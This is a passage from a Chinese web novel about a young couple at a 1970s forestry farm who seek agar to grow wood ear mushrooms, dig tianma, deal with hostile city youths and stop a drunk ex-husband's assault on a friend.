祁放沉默了,桃花眼也垂了下去,后面一直到出商店,都没有再说话。
严雪却在商店门口停住,问门边卖自行车的售货员:“同志您知道派出所怎么走吗?”
祁放一下抬起眸,眼中很少见地露出了明显的意外。
严雪和对方问完,才看向他,“还是去问一趟吧,万一是我多想了呢?总得试一试不是。”
试一试,万一有用,后面就不会有其他人遭殃了,没用他们也不过是多跑一趟。
严雪赶时间,边说边往外走,走出几步才发现男人没有跟上来,“怎么了?还有东西忘了买?”
“没。”祁放从她身上收回视线,走出一段路,又不自觉再次看她。
两人到了派出所,男人话倒是多了起来,都有几个人,穿什么衣服,什么相貌特征,描述得分毫不差。
派出所的公安都忍不住频频看他,“一共三个人是吧?我们会留意的。”
祁放什么都没多说,出去直接陪着严雪去了县制药厂。
这时候就知道严雪买烟干嘛了,她敲了敲警卫室的窗,将一包烟递进去,“同志我打听个事儿,咱们制药厂有琼脂吗?”
人工种植木耳,最重要的就是菌种培育。
而培育菌种的培养基,主要成分是马铃薯、葡萄糖和琼脂。
马铃薯好买,葡萄糖镇医院也能弄到,只有琼脂,严雪只能想到来制药厂试试。
这东西是藻类植物里提取出的一种多糖体,主要应用于食品领域的果冻、布丁,医药领域的培养基和化妆品领域作为增稠剂。
严雪买的烟是两毛八一盒的迎春,不算商店里最贵的,但也绝对是好烟了,那警卫一看便能知道。
“这个我还真不清楚,我去帮你问问吧。”
烟并没有推回来。
严雪就知道有戏,笑着和对方道:“那就麻烦您了。”
“这麻烦啥?”对方摆摆手进去了。
厂门外,祁放把视线投向了严雪,“你来制药厂就是为了这个?”
他今天倒是难得话多,以前她的事他都不怎么探究的。
也不只是她的事,这男人好像对什么都不感兴趣,漠不关心,也同样不喜欢别人探究他。
严雪仔细看看对方,“确实是为了这个,就是不知道有没有了。”
“估计没有,”祁放说,“这东西很少,目前国内还没有大范围生产。”
“你还知道这些?”严雪更意外了。
祁放立马想到她连自己大学学什么都不记得,沉默一瞬,“之前听别人说过。”
他虽然不学这个,但有认识学相关专业的人。
严雪发现这男人知道的东西还真不少,不过也是,记性这么好,脑子里能装下的东西肯定多。就是可惜了,这么好的脑子要放七八年前,或者七八年后,高低也能考个大学,现在却……
不知为什么,祁放总觉得严雪看自己的眼神有些惋惜,待要探究,之前那警卫已经出来了。
“我问过了,厂里没有。他们说你这得找生物制药的厂子,我们做的是中成药。”
果然被祁放说中了,严雪瞥了男人一眼,倒也不失望,还是把那包迎春烟留下了。
至于另一包,既然制药厂没有琼脂,只能暂时省下。
两人并肩往外走,祁放垂了垂眼,问她:“要不你去省城找找?”
“不用了,”严雪摇摇头,“我再想想别的办法,也不是非得要现成的。”
琼脂怎么做她知道,只是有现成的,谁还费那个工夫?
祁放应该是听懂了,又看她一眼,最后还是没多问,“回去?”
“肯定得回去了啊,”严雪看看表,“再不回去赶不上小火车了。”
两人在长途汽车站下车后,几乎是一路小跑,才赶在小火车开车前挤上了车,票都是在车上补的。
回到林场的时候,正好碰到几个男知青拿着自制的弹弓和气/木仓,刚从林子里打鸟回来。
自从祁放两枪打死了黑熊,这帮男知青算是被勾起了兴致,巡逻队是肯定参加不上的,于勇志于场长都没让他参加。
主要这大儿子枪法不行,还迎着黑瞎子就去了,于场长哪敢再让他随意摸枪。
但大的打不了,打打鸟,打打野鸡总没问题吧?
正好他们活干得一般,时间却挺多,这帮知青上山来,也很少有真正好好干活的。
几人今天都有点收获,一面走,一面还在聊天,完全没有注意到不远处的严雪和祁放。
严雪和祁放一开始也没关注他们,但走出一段路,祁放视线突然转了回去。
严雪也停下脚步,眉心微颦,因为那几个男知青刚好提到了刘卫国,言谈中还颇多鄙夷。
“你们说好不好笑,就他也想跟周文慧处对象,也不撒泡尿照照自己什么德行。”
“沟里人没见识吧,以为自己会锯个木头打个枪就了不得了。”
“没准儿周文慧就喜欢这样的,没看闹钟都让他修了。”
“要是有人天天给你送好吃的,你不得给点好脸?再说了,有人上赶着要给你修闹钟,又不用花钱,干嘛不修?”
沟里就是山沟沟里,本来是对山里这些林场村子的代称,被他们说来却十足像个蔑称。
几个男知青一面走,还一面问其中一个背着气/木仓的:“刚子你是咋想的?咋还让他给你修上表了?”
第 27-28 章
张国刚的确是找人又借了块表,把里面一个零件换了。
本来是想干脆拆下来一个,又怕祁放是真会修,少一个零件实在太明显。
这样祁放就算会修,也修不上,他们就可以借机嘲笑刘卫国一顿,说不定还能把刘卫国和周文慧那事搅黄了。
没想到祁放眼睛这么毒,那么微小的区别都能发现。此刻被两个女知青盯着,他大脑一片空白,半晌都没能说出话来。
还是杨涛赶忙出来打了个圆场,“怎么可能?零件磨损太厉害,你看错了吧?”
“他这块表是北京牌的,零件是上海牌里的。”祁放平静指出,“我家就有块上海牌男表,你们要想看,我可以拆。”
这下就连杨涛也闭了嘴,真要不见棺材不掉泪,只会让他们更加难堪。
“所以是真的了?”周文慧眼里还有不可置信,和熊熊燃烧的愤怒,“人家怎么你们了?既没得罪你们,还好心帮你们修东西,你们这么玩儿人家!”
平时看着挺好相处一姑娘,竟然生生把眼睛气红了,“还有你!”
她指着那个一直挑事的,“你还说人家严雪爱人给你们拆坏了,让人家赔,你要不要、要不要……”
到底是有教养的年轻姑娘,要不要脸这样的话很难直接骂出口。
这表现,倒让同样愤怒的刘卫国脑子没那么热了,“别生气,跟这种人生气犯不着。”
那被指着的人也脸色涨红,“我就是说说,又没想真让他们买……”
“对啊,我们就是开个玩笑,又不是想占他们便宜,你们不至于吧?”
其他人也试图辩解,但周文慧显然并不吃他们那一套。
刘卫国也看向祁放,“他们爱是哪个零件就是哪个零件,赶紧装上让他们滚!”
话说得实在不好听,但当众被人揭穿,还是当着同队两个女知青的面被揭穿,他们也实在是脸上无光。
还有人想给自己找补,倒是张国刚还算硬气,直接从祁放那里拿回东西,“我自己能弄,用不着你们装。”
几个人强撑着气势往外走,还没走到堂屋门口,就听祁放声音冷淡道:“忘了说,这两款手表内部结构差不多,就算换了一个零件,也勉强能走。”
意思他们这纯粹是瞎折腾,屁用没有。
杂乱的脚步声明显一滞,接着外面传来震天一声门响。
刘卫国立马追了出去,“你们自己又坏又没那脑子,还有脸摔门!”
屋内一时只剩下严雪夫妻和两个女知青,刚被愤怒压下的不自在也终于漫了上来。
“对不起。”周文慧低着头跟夫妻俩道歉,“早知道他们这样,我就不让他们来了,也不能让他们找你们修。”
“这事儿也不是你揽的,是他们非要我帮着找人。”刘卫国从外面回来,赶忙帮她解释了句。
说完又抱歉看向祁放,“对不起啊,下次我再不给你找这些麻烦了。”
这俩人一个比一个道得快,一个比一个道得真诚,倒弄得另一个女知青站在旁边,总好像有那么点不合群。
她干脆也出来做了个检讨,“这事儿也怪我,是我把修闹钟那事儿说出去的。”
“你们在这开检讨大会呢?”严雪没忍住“噗嗤”笑了。
她这一笑眉眼弯弯的,连屋内略显沉重的气氛仿佛都被吹散,刘卫国摸摸鼻子,“我这不是觉得对不住祁放吗?”
祁放闻言不置可否,“以后少拿我做几次幌子就行。”
显然是在说刘卫国为了接近周文慧害自己被传成醋缸那件事。
这刘卫国就呵呵了,“说得你好像一点不想去似的,你要真不想去,我还能拉得动你?”
两人毕竟是朋友,有些事说开了,歉道了,也就翻篇了。倒是周文慧始终过意不去,总觉得这事儿跟自己脱不了关系,又拉着几人连声说抱歉。
这姑娘明显道德感挺重,你都说没事了,她还是过不了自己那关。
突然祁放问周文慧:“你家是不是有人在林业局后勤?”
周文慧完全没想到他会跟自己搭话,愣了下,“是啊,我小姨夫在后勤,负责给各个林场的商店送东西,你怎么知道的?”
“见过来送货的人给你捎东西。”祁放说着,眼睛却看向了严雪。
严雪一开始还没反应过来,随即才想到,林业局自成体系,各林场的商店都是走后勤供货,那后勤肯定有对外采购的渠道。
直接问琼脂吗?
恐怕有些难。
严雪脑子飞快转着,很快便找到了切入点,问周文慧,“那你姨夫知道商店卖的海带都是哪来的吗?”
“这个我就知道,”周文慧说,“是县土产公司从外地进的。”
这年代的食用盐里面没有碘,要想不得大脖子病,必须吃海带,每年土产公司都会从外地进一大批。
周文慧问严雪:“你是想多买点海带,还是想便宜买?”
“都不是,我是想买点别的东西。”
严雪还想再打听两句,没想到周文慧竟然道:“那我帮你问问我姨夫吧?他在县土产和批发部都有熟人,可以让他们出去采购的时候帮你带。”
这倒是意外之喜,严雪还以为怎么也得费一番工夫。
“那可太好了,你等等,我给你写下来。”
她刚要去写字桌拿纸笔,一直靠站在写字桌边的祁放已经拉开抽屉,将东西递给了她。
严雪接过,直接在上面写下“石花菜”和“江蓠菜”,想想又添上一个,“如果前面这两个弄不着,紫菜也行。”
“你这是要弄啥?”刘卫国好奇地凑过来看。
严雪自然是要自己做琼脂,但东西还没影儿呢,她卖了个关子,“你猜。”
“我不猜。”刘卫国直接转去问祁放:“你媳妇儿想干啥?”
结果祁放也丢给他两个字——“你猜”。
刘卫国无语。
拿到纸,周文慧也就提出告辞了。有了这么个忙可以帮,她心里显然好过了许多。
刘卫国没跟着一起走,而是一屁股坐在炕上,又跟祁放说了句抱歉,“这帮男知青估计是看我跟周文慧走得近,冲我来的。”
“嗯,还算有脑子。”祁放声音淡淡,淡淡地嘲讽。
刘卫国也不在意,“事儿我惹的,你想损就损吧。还好你有本事,不然今天就得换成咱们被损了,搞不好还得赔钱。”
对方说得好听,只是开个玩笑,可有这么让人下不来台的玩笑吗?
如果今天祁放真修不上,被笑话一顿都是轻的,搞不好真有人会赖是他们把表修坏了,不赔钱也得沾一身腥。
而且事情是他惹的,却把祁放给坑进来了,以后他们还怎么处?
“这帮城里来的知青,一天天活不干,净干些缺德事儿,前两年还偷了好几家的鸡上山里烤。”
刘卫国提起来就生气,倒是严雪笑着说了句:“周文慧好像也是城里来的知青。”
一句话把他给说住了,“那不一样,她又没干那些事儿。”
从今天这事来看,周文慧这姑娘的确不错,不偏不倚,明辨是非。
严雪笑看了刘卫国一眼,“你眼光不错。”
“那是。”刘卫国立马得意起来,想想自己当初还看上过严雪,又赶紧去瞅祁放,“我说祁放你不是从小拆这些长大的吧?怎么一看就知道零件换了?”
“不是,记性好。”祁放回答得很言简意赅,不知道是也想起了当初的事,还是单纯不想谈这个。
不过记性好到这种程度,也真是很难得了,严雪又有些可惜他没赶上能读大学的好时候。
刘卫国也觉得可惜,“这要是能去小修厂多好,小修厂都白瞎你这本事了,起码也得去镇机修厂当个工程师啥的。”
只有祁放对此反应不大,把刚刚修表用的工具一一整理收起。
又坐了一会儿,刘卫国正准备走,外面有人来问:“祁放家是不是住这?”
严雪不认识对方,刘卫国却只抻头看了一眼,“大伟?”
“你也在这啊?”来人笑起来,“那正好,你们白天家里有人吧?今天要给你们家送柴火。”
“有,”严雪点头,“一整天都有。”
“那我回去说一声,让他们装车,应该一个小时就能到。”
这下刘卫国也不着急走了,等着帮严雪他们弄柴火。就是没想到竟然一下子来了两车,还有一车半都是树头。
一开始还没看出来,毕竟马车两边都有车壁挡着。等车在门外停好,赶车人将驾辕那匹马的肚带卸了,车辕向上一抬,再将马儿轻轻一赶,内里的情况才随着满车柴火轰然落地,暴露在人前。
“这么多?”郭家大门平时都只开半扇,听说要卸柴火郭大娘过来开另一边,被门外的景象惊了一下。
刘卫国也忍不住啧了声,问祁放:“咱们今年伐的树头不会都在你们这了吧?”
“严雪弄的。”祁放只说了一句,就戴上干活用的棉线手套开始搬。
刘卫国一听笑了,“谁问你是谁弄的了?咋的,生怕别人不知道你媳妇儿有能耐?”
祁放没理他,他也戴上手套,搬了几块跟在后面,“不是说盖房的木头找场里批了吗?咋又弄这么些树头?”
这回祁放搭理他了,回了他两个字——“你猜”。
刘卫国瞬间觉得牙疼,“你们两口子怎么一个德行,都爱卖关子?”
其实严雪到底要做什么,祁放也不知道,但通过她还需要琼脂这件事,多少能猜到一点。
不过这是严雪自己的事,严雪都没和他说,他自然更不会跟别人提。
整整两大车柴火,严雪这边三个人,再加上隔壁郭长平两口子帮忙,也足足忙了大半天才全搬进院子。
后面该摞的摞,该劈的劈,估计还得忙上几天,不过那就是严雪和祁放自己的事了。
严雪本来想留刘卫国吃饭,结果刘卫国跑得比什么都快,“我还得去趟知青点,跟周文慧说说,让她别怨自个儿。”
敢情之前没跟着一起走不是不想,是觉得周文慧身边还有其他人不方便。
严雪望着他跑远的背影摇摇头,“这恋爱的酸臭味。”
“什么臭了?”祁放摘着手套从外面进来,只听到了后半句,不禁蹙眉闻了闻。
这严雪可没法说是你朋友臭了,只推着他去脸盆边洗手,“都弄完了?”
她手上没用多大力道,祁放还是顺势被推了过去,“嗯。”又一边洗手一边问:“这些够不够用?不够房子那边还能匀出来点。”
严雪明白他说的是树头,“够了,我之前也没弄过,这些都不知道能不能用完呢。”
正常木耳种植,现在就应该接种菌种了。但她手里没有现成的菌种,得自己培养,今年还不知道能培养出来多少。
不过既然提到盖房子,她就顺便问了一嘴:“东西已经批下来了吗?准备什么时候盖?”
“场里已经批了,等天再暖和点,忙过造林就开始盖。”
造林一般在五月上旬,也正是这一带种庄稼的时间,忙完天的确已经暖和了,林场也又有一个短暂的假期。
严雪觉得选得刚刚好,“那地方呢?在哪个位置盖?”
“咱这西北边还有点空地,以前是林场的菜地,后来人多盖房子的地方不够,挪走了。”
严雪稍一想,就想到了他说的是哪一块,“我还以为你会选在这房后。”
选在这房后,离刘家郭家都很近,常来常往方便,西北边那块地就有点远了,虽然整个林场也没有多大。
祁放正拿着毛巾擦手,闻言并没有抬头,“那边地方大。”
严雪本意也是找个大一点的地方,放她那些用来培植木耳的段木,没想到这男人也想到了。
她挑了挑眉,觑着他的神色,“要那么大地方干嘛?你有用?”
祁放明显是顿了一下,桃花眼看看她,竟然还真给出了个理由,“嗯,到时候去卫国家抱只狗崽。”
刘家那三条狗里面有一条是母的,长得颇为威风,今年还没开始配呢,林场已经有不少人过去预定小狗崽了。他们自己盖了房子,就是独门独院了,到时候的确得有条狗看家。
不等严雪再说什么,他已经转了话题,“我过两天要上趟山,你去不去把天麻挖了?”
挖天麻最好的时间其实是五月份,天麻长得够大,又还没有出苗,品质最佳。但五月初就要开始造林了,到时候祁放这样的正式工、她这样的临时工,甚至中小学的学生都要上山参与造林,到处都是人。
严雪这几天本来就想找时间去一趟,既然祁放也要去,那正好一起。
两人花了点时间把树头筛了一遍,长度和粗细都够的留下,单独摞成一垛。剩下还有一些能用来打架子,实在用不了的才和那些杂枝一起当烧柴。
都忙完,夫妻俩就一人一个背筐,沿着小火车道上山去了。
这次没有任何车可以蹭,两人足足走了快两个小时,才在车道尽头看到已经荒废掉了的营地。
大多数建筑都已经拆了,那些隐藏在雪下的地窨子也彻底暴露出来,没了顶,只余下一个个整齐排列的空洞。乍一看,和这周围被彻底伐空的山林一样,扑面而来一股叹息和荒凉。
严雪脸上没什么表情,在那站了好半晌,才朝着自己当初发现天麻那一片走去。
祁放同样没有说话,一直走出去近百米,抬抬手指了个方向,“这边。”
他记路的能力可比严雪强多了,严雪做那记号又并不难找,不久两人便在一个树桩上发现了。
严雪沿着记号所指的方向走出十一步,点点地,“应该就是这附近。”
话落,祁放已经蹲下/身用树枝挖了起来。
林子里都是富含腐殖层的黑土地,土质松软湿润,哪怕刚刚开化不久,依旧不算难挖。没多一会儿,两人试探着挖下去的几个浅坑里就有一个挖到了形似纺锤土豆大小的块状根茎。
这就是天麻了,看来当初严雪和祁放没看错,这段时间也一直没再有人发现过。
两人顺着那一个向四周向下又挖了挖,运气不错,竟然挖出不少崽子,应该是哪个大天麻化了之后留下的。
挖完严雪掂了掂,“差不多能有六七斤,还算没白来。”
六七斤天麻晒干了大概能有半斤左右,卖到收购站也是五块多钱了,够严雪干上三天的临时工。
再剩下就是碰运气了,严雪把东西装进背筐,问男人:“没采伐的时候你来没来过这边?”
天麻喜欢生长在有伴生菌蜜环菌的地方,而蜜环菌就是当地人所说的榛蘑。这东西虽然没有冻蘑值钱,也挺好吃的,幼芽晚上的时候还会发光。
经常跑山的人知道哪里有榛蘑,就可以拿铁锹在附近挖个试试,运气好的话也能挖到不少。
可惜祁放对跑山兴趣不大,来林场好几年了,竟然一次都没来过,也不清楚这里有没有蜜环菌。不过他中途离开了一阵,回来的时候背筐里倒是多了不少天麻,“采伐后期发现的。”
估计他上山就是为了这个了,难怪问她来不来挖天麻。
严雪一掂,发现也有个五六斤,加上两人用铁锹在附近地下翻到的,最后一共挖了能有二十多斤。
这就是二十多块钱,严雪在林子里一块大石头上坐下,“回去分你一半。”
“不用,你拿着。”
祁放这人说话算话,从县里回来就把那八百多块给了严雪,后来单位发工资,也都交给严雪来管。
见严雪只坐了一半,另半边显然是留给他的,他也坐了下来,垂下眼皮俯视着山坡之下,“你说这里还能伐多久?”
和当初问刘卫国同样的问题,只是这次严雪显然不可能会错意。
她转头望向身边的男人,“你怎么想起来问这个?”
祁放也不看她,抬手指向远方,“那是去年的伐区,”又指脚下,“这是今年的。”接着是绵延无边的山峦,“很快就轮到了。”
语气没什么起伏,仿佛只是在陈述事实,讲出来的内容却透着沉重。
严雪猜他一定注意到了自己上山时那一停顿,目光同样投向远方,投向脚下这疮痍的土地,“伐不了多久的。”
察觉到男人看来,不待对方问她这句伐不了多久是何含义,她已经自己道:“一个母亲家庭贫困,养不起自己和孩子,选择了卖血,不代表她永远只能卖血。只要有机会,她一定会爱惜自己和孩子赖以生存的一切。”
长白山区和大小兴安岭的破坏是一代人心里的痛,哪怕后来彻底由采伐转成了营林,被破坏掉的生态也难以恢复。
但这时的确又别无选择,严雪叹了口气,“卖血对身体不好,但好歹能活着,咱们现在总得先活着不是。”
活着撑过难关,撑到在一代又一代人的努力下,能用自己的拳头和科技跟世界说话那一天。
祁放没有说话,也不知道是认可了她这番说辞,还是不置可否,但懒得和她分辩。
严雪干脆托了腮望他,“你小的时候被没被人打过?”
祁放眼神里露出不解。
“话是你挑起来的,人家认真答了,你又没点反应,小时候真没被人打过吗?”
他现在长这么大,这么高,她都有点手痒痒,牙也痒痒,想怼。
不过这倒让祁放多看了她一眼,毕竟一开始她可不像现在这样,客气得很,什么都不会多问。
男人支起长腿,随意将手搭在了膝上,“我只是在想这血还要卖多久,十年,二十年,还是五十年?这个母亲还能不能坚持到不用再卖血的那一天。”
这严雪就没法回答了,她是先看到了未来,再来说这话,他却只能看到这不知何时终止的现在。
知道期限好歹还能有个盼头,连期限都不知道,就别怪他有此疑问了。
就在这时,身后远远传来人声,“喂!那边的两位同志,小金川林场是不是从这边走啊?”
这严雪还真不知道,一面回头,一面捅了捅身边的祁放。
祁放被那只小手戳到了痒痒肉,先不着痕迹躲了下,才扬声道:“你走远了,这边已经是金川林场。”
那人显然有点蒙,脚步都停了,“那我应该咋回去?”
这一看就是迷路了,还迷得够远的,严雪跟祁放商量了下,“这边太远了,我俩也不认识路。要不你跟我俩一块去金川林场,从火车道走回去?”
那人在原地犹豫了下,还是快步走了过来,“那也行,谢谢两位同志……”
一抬眼,憨厚的脸上不好意思的表情先变成错愕,“是你啊?”
严雪也有些意外,“你怎么走这边来了?”——
祁放:谁?谁敢来认识我老婆!
发现小天使们有点缺德啊,咱们小祁都给你们发红包了,你们竟然嘲笑他没孩子,过不了六一……
好了不说了,小祁哭唧唧去给你们发红包了[可怜][可怜][可怜]
巧遇
==============
自从那次在小火车上一别,齐放已经有两个多月没再见过严雪,完全没有想过会在这里碰到。
年轻姑娘还是那么漂亮,哪怕不笑,眼里也亮亮的蕴着笑意,因为脱去了厚重的棉衣,整个人还更多了几分轻巧的俏丽。
被那双眼睛看着,他话还没开始说呢,脸先自己红了,“林场说附近发现了野猪留下的蹄子印,怕过两天农业队春播,有野猪进来搞破坏,让我们在山上挖几个陷阱。”
野猪个头大,公猪和黑熊一样能达到四五百斤,又会挂甲,用木仓都不好打,用陷阱就更麻烦了。
要不下套子,在套子后面绑一块足够大的石头,让野猪拖着石头跑,跑到力竭,也就慢慢被拖死了;要不挖坑,在坑里固定上削成尖刺的木棍,坑得挖得足够深,绝对是个不小的工程。
只是这在附近挖陷阱,怎么挖着挖着就挖到金川林场来了?
严雪并没有在对方身边看到同伴,“你这是跟人走散了?”
“也不是,”齐放犹豫了下,“我们这队另两个人有事,来不了,我就自己先上山了。”
有事还能两个人一块有事?严雪很怀疑他是不是被欺负老实人了。
看他这吞吞吐吐的样子,心里未必不清楚,只是不懂得如何像别人一样偷奸耍滑罢了。
既然是认识的人,严雪就又和他解释了遍,“从这去小金川的路我们也不知道怎么走,而且这边离小金川已经很远了,就算知道路,也不一定比走火车道快。”
齐放自然应好,不好意思道:“又给你添麻烦了。”
“这算什么麻烦,你不还帮我做了双旱冰鞋?”正好严雪休息得差不多了,就准备收拾背筐回去。
这时一直站在旁边没有做声的祁放开了口,“这就是给你做旱冰鞋那个人?”
上次在小火车上收到鞋,他可是一句都没问,怎么现在想起问了?
严雪看他一眼,还是点点头,“对,就是这位同志。”
齐放也才想起这边其实是有两个人,脸上一尬。
不过不等他说什么,男人已经转眸望向他,望了一会儿,“谢谢。”
他有点没反应过来,“啊?”
严雪忙给他介绍,“这是我爱人,他是说谢谢你帮我做旱冰鞋。”
“哦,”这回齐放听懂了,脸上的尴尬也愈发掩藏不住,下意识伸出手,“同志你好。”
这让祁放又看了他一会儿,看得他都开始浑身不自在了,才淡淡伸出手,“你好。”
“他这人不太爱说话,你别介意。”严雪帮着解释了一句,怕对方不自在,又挑起个对方熟悉的话题,“对了,上次你说要给你姑姑送木耳,后来送成了吗?”
只要不直面她那个看着怪深沉的爱人,齐放就自在多了,“没,我前两天又去了一趟,她还没回来。”
这严雪都有些意外了,“还没回来?”一边问,一边背上背筐,准备下山。
齐放点点头,刚要说话,就见祁放帮严雪提起了背筐,等严雪背上,才拎起自己的。
他卡了一下壳,“是、是还没回来,我没有我姑父老家的地址,也没问,准备等过阵子造完林再找时间去一趟。”
这年代的通讯还真是不发达,去了哪里一旦没有地址,就跟人间蒸发了似的。
不过一大家子一起走的,又是回老家,应该也不会出事才对,严雪笑着提醒对方,“这边有点陡。”
齐放刚要应声,祁放已经仗着腿长两大步迈下去,回手来接严雪。
他就忘了自己刚刚想说啥,等严雪下去了,祁放还要来接他,才忙摆手,“我自己能下去。”
祁放垂下桃花眼,也没说什么,三人就这么一起下了山,踩上回金川林场的小火车道。
小火车道有些窄,这要是在往常也就罢了,但今天变成了三个人,严雪和祁放一起走吧,就把另一个人甩下了,和对方并排走又不是那么回事。三个人全都分开,距离又会拉远,弄得严雪只能不时和后面的齐放搭两句话。
齐放应着,眼神却忍不住落在前面那一双背影上。
早听说她结婚了,却不知道她爱人长这么好,和她站在一起特别般配。
就是人看着有点不好相处,也不知道她在家会不会受气……
刚想到这,前面的男人似有所觉,转头朝他这边看来。
那眼神也没什么,但齐放还是下意识收回了视线,假装自己只是在看路,严雪也注意到了,问身边的男人:“怎么了?”
“那边有个东西,不知道你见没见过。”祁放淡淡指指不远处树下。
正是临近傍晚的时间,落日的余晖有点晃眼,严雪一直迎着阳光走,转回去眯了一会儿,才看清他所指的东西——一个椭圆形的茧。
怕自己认错,她还走过去将东西捡了起来,发现还真是个蚕茧。
东北的蚕和关内的不一样,关内的多是桑树蚕,个头小,产出的丝主要用于纺织;东北的蚕则都是柞树蚕,个头能有拇指那么大,产出的丝在工业、电力、国防工业等领域都有应用,关键是味道好,营养价值还高。
只不过这种柞树蚕的主要产地是邻省,这边因为气候较冷,并没有人进行养殖,野生的也不多。
严雪直接将蚕蛹丢进了背筐,又在附近仔细逡巡,看还能不能找到。
“感兴趣?”祁放过来帮她一起找。
严雪实话实说:“这个很好吃,干煸油炸都好吃,水煮也有一种特别的香甜。”
这东西可是很贵的,后来最少要四五十块钱一斤,而且号称一个茧蛹的营养价值能赶上两个鸡蛋。
齐放一听,赶忙也过来帮着找,三个人一起,也只在这片柞树林里面找到十几个。
不过后来他倒是找到事做了,只要附近有柞树,都会瞄上两眼,这么走下来,一个多小时倒也不觉得太慢。
眼见金川林场就快到了,前面严雪突然一顿,接着加快脚步朝道边的林子走去。
齐放一愣,顺着她走去的方向一看,发现是一对年轻男女,女方正被男人不客气地拖拽着,“你跟我过来,这事儿必须给我说清楚。”
女方被拽得脚步踉跄,挣挣不开,甩甩不掉,只能用手去掰,“放开!有什么话你就不能好好说?”
“跟你好好说你听吗?我妈都被你气回去了!”男人低吼,手上又是用力一扯。
这下女方差点摔倒,扶了下旁边的树干才勉强站住。男人也不管,用力将她胳膊一甩,指着她,“你他妈是不是贱?才跟老子离婚几天就憋不住了,想男人了!你那破B一天没人C就痒痒是吧!”
骂得实在太难听,严雪远远听到一点,脸已经沉了,何况这个被骂的还是跟她关系不错的郎月娥。
郎月娥显然也感到了愤怒,脸色都隐隐发青,“你也知道我跟你离婚了,我都离婚了,还不能找地方?”
“老子让你找地方了吗?”男人竟然甩了她一巴掌,“老子睡过的B,烂也得烂在老子家里,你竟然敢给老子戴绿帽!”
一把揪起郎月娥,就要拳打脚踢。
“你给我住手!”严雪大喝一声,对方却跟没听见似的根本不理。
两边又还有段距离,严雪跑再快,也赶不上,情急之下只好去旁边找东西丢。
祁放比她手更快,已经抄起一块石头,准确砸中对方后脑。
男人吃痛,手下意识一松,捂住脑袋回头瞪来,“谁他妈敢打老子!”
说实话长得并不差,五官甚至算得上英俊,但因为两眼赤红,表情愤怒,生生透出几分骇人的狰狞来。
郎月娥趁机从他手下挣脱,下意识讶了句:“小严?”
男人却只看到了严雪身边的祁放,红着眼就冲上来了,“你他妈就是别人介绍给她的野男人,老子的破鞋你也敢捡!”
他这会儿的确有些上头,来之前又喝了酒,一见祁放,立马想到他妈说的一米八大个儿,长得特别好。
祁放都不知道自己怎么就成了野男人,但对方都冲过来了,还是向侧面一闪身。
男人一拳落空,差点一个趔趄摔个狗啃泥,更怒,二话不说又要往上冲,“有种你他妈别躲!”
这回严雪离得近了,抡起带来挖天麻的铁锹照着他的头就是一下。
“啪”一声脆响。
别说康培胜,后面慢了一步的齐放都替他觉得疼。
当然严雪也没准备真靠自己这小身板和对方硬拼,已经退后一步,指着对方,“揍他!”
齐放都没过脑子就冲上去了,冲得比祁放还快,虽然稍显笨拙,不多会儿康培胜还是被两人彻底按在了地上。
他嘴上还不干不净,让祁放反剪着双手往下一扣,啃了一嘴泥,终于暂时安静了。
祁放鼻子尖,忍不住蹙了蹙眉,“喝酒了。”
“不喝酒他也不敢跑来林场动手。”郎月娥拢着被扯乱的衣服,脸上还有鲜红的巴掌印,过来向几人道谢,“谢谢你们。”
平时面都不露,只让亲妈帮着出头,喝醉酒倒是敢过来打人了。
严雪递给郎月娥一块手帕,“你没事吧?”
“我没事儿。”郎月娥下意识接过,待看清手里的东西,才发现自己脸上有泪。
她拿起擦了擦,“谢谢。”到底没忍住泄出一丝哭腔。
都离婚了,还是没能摆脱掉对方,在对方拳头将要落下来那一刻,她一定很绝望吧。
严雪搂住她拍拍她的肩,等她情绪稳定些了,才问:“这件事你准备怎么办?”
郎月娥显然还没有想好,转头看看地上的男人,面露迟疑。
“你该不会是想就这么算了吧?”严雪压低了声音,“你都跟他离婚了,他还敢过来找你,这次要这么算了,以后呢?”
“我不是,我就是不太想麻烦家里。”郎月娥摇了摇头。
这么说严雪就明白了,毕竟这辈子的她和郎月娥一样,都是跟着母亲改嫁,随继父一家生活的。
很多女性在面对不幸的婚姻时,之所以不敢离婚,经济状况是一方面,怕娘家不愿意接受,无处可去也是个很重要的原因,尤其是现在这个年代。
传统观念里,女性一旦出嫁,那就是别人家的人了,即使回来也是客人,哪有客人在家里长住的?
就算父母愿意,哥哥嫂子就一定愿意吗?何况离婚这事还一定会被人说三道四。
郎月娥这算不错了,郎书记和家里几个兄弟都支持她离婚,但只要有选择,她一定不想再给家里添麻烦。
严雪也不劝,只指指她的脸,“你觉得你这样回去瞒得住?”
郎月娥一愣,摸摸已经明显肿起的左颊,苦笑,“估计瞒不住。”
既然瞒不住,她也不顾虑那么多了,深吸一口气,“那麻烦你们帮我把他扭回去吧,我去跟家里说。”
如果郎月娥是那种一味忍让的软包子,严雪管过这一回,下回绝不会再管她的闲事。
严雪上辈子又不是没见过,两人婚都离了,女方家里也帮着出头了,过后女方还是回去了,倒让娘家白做了恶人。
既然郎月娥没准备就这么算了,她也就走过去,弯身去解康培胜腰间的皮带。
齐放一双小眼都瞪大了,祁放更是将人拎起来往旁边一扯。
严雪这才发现自己的举动有点引人误会,解释:“他不是喜欢用皮带打人吗?就用这个绑他好了。”
齐放这才明白是怎么回事,表情一松。
然后刚松完,就发现旁边男人正看着他,没有说话。
他实在搞不懂,眨了眨眼。
第 29-30 章
刚说完天黑没有人,迎面便撞上俩熟人,要多尴尬就有多尴尬。
而且严雪这边还只是提着筐,刘卫国那边连小手都牵上了,严雪还没什么,祁放那目光当时就落了过去。
刘卫国还一点不自觉,笑着跟两人打招呼,“你俩也出来遛弯啊。”
话还没说完,周文慧已经把他的爪子甩开了,低着头,耳尖通红。
严雪感觉身后的男人好像是呵了一声,“这么晚,我们可没那闲心。”手不像对面,完全没有要松的意思。
严雪自然也没那么容易感到尴尬,见刘卫国讪讪,还朝他笑了笑,“进度挺快啊。”
刘卫国立马嘿嘿乐起来,“一般一般,赶不上你跟祁放。”
话刚说完,就被周文慧偷偷拿脚尖踢了下。
他立马闭嘴,换上一副正经的表情,“其实是周文慧同志的东西掉了,我正在帮她找。”
就算他们可以装眼瞎没看到他们牵手,可大晚上出来找东西,手电筒都不带一个的吗?
严雪笑着没说话,祁放看向刘卫国的眼神也像在看傻子。
周文慧被他说得脸更红,这回实在受不了了,低着头转身就跑。
刘卫国赶忙跟上,“哎你别生气啊,我说错了,我说错了还不行吗?”
一路追一路道歉,没过多久,两人速度就慢了下来。再一会儿,手虽然没再牵了,人好像也哄好了。
“刘卫国还挺有一套的嘛。”严雪忍不住笑。
“嗯,脸皮够厚。”
